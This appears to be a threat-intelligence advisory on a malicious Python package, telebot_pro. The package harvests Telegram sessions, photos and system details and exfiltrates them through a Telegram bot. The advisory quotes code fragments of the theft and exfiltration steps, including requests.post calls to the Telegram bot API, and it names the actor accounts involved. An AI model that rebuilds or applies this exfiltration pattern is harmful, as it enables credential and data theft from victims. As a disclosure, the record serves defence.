GCVE-110-OSM-2026-10265

This looks like a credential/data-stealing loader operated by an attacker using a Telegram-bot C2 model. The code in `telebot_pro/collector/__init__.py` collects photos, Telegram sessions, hostname, local IP, and Wi‑Fi SSID, then XOR-encrypts and exfiltrates them via `requests.post` to `https://api.telegram.org/bot{BOT_TOKEN}/sendMessage` using the plaintext bot token The background thread plus local receiver on `127.0.0.1:48765/submit` and suppressed-output `subprocess.check_output(..., stderr=subprocess.DEVNULL)` strongly indicate stealthy exfiltration rather than normal bot functionality. The attacker model is a malware author harvesting Telegram sessions and system intel for remote collection through Telegram chat. DESTINATION - 3 exfil (telegram-bot) - 2 c2 (telegramUsers, telegramChats) (values recorded in verified_iocs) EXFIL - Python File Upload to Remote in telebot_pro/bot.py: "requests.post(f"{self.api_url}/sendPhoto", files=" - System Information Exfiltration in telebot_pro/collector/__init__.py: "socket.gethostname()), "ip_local": socket.gethostbyname(socket.gethostname()), "..." - HTTP Data Exfiltration in telebot_pro/collector/__init__.py: "socket.gethostname()), "wifi_ssid": get_wifi_ssid() } try: encrypted = xor_encry..." - Data Encoding for Exfiltration in telebot_pro/collector/telegram_stealer.py: "base64.b64encode(" - Python Background Thread Execution in telebot_pro/bot.py: "threading.Thread(target=start_collection, daemon=True).start() def send_message(..." - Network Request in telebot_pro/bot.py: "requests.post(" - Python Background Thread Execution in telebot_pro/collector/__init__.py: "def start_collection(): def _collect(): time.sleep(8) start_local_receiver() dat..." - Network Request in telebot_pro/collector/__init__.py: "requests.post(" (+2 more) ADDITIONAL FINDINGS Active exfiltration bot @osintnetcher_bot ("NetchOsint") deployed today by two actors — @Netcherstek (Russian-speaking tester) and @KernelJunkie ("Whanos", channel creator). The bot has post-only admin on a private channel named "Loggy McLogface" (classic exfil channel pattern). No victim data observed yet — the bot appears freshly deployed. Bot bio links to @evadast_bot and generai.org as additional infrastructure. - Shell Command Execution in telebot_pro/collector/__init__.py: "subprocess.check_output(" - Silent Process Execution in telebot_pro/collector/__init__.py: "stderr=subprocess.DEVNULL" PAYLOAD FILES telebot_pro/collector/__init__.py TELEGRAM THREAT-ACTOR INTELLIGENCE (live API enrichment): Bot @osintnetcher_bot (id 8858157434) - 1 chat(s), 2 total member(s) observed - Threat-actor accounts: @Netcherstek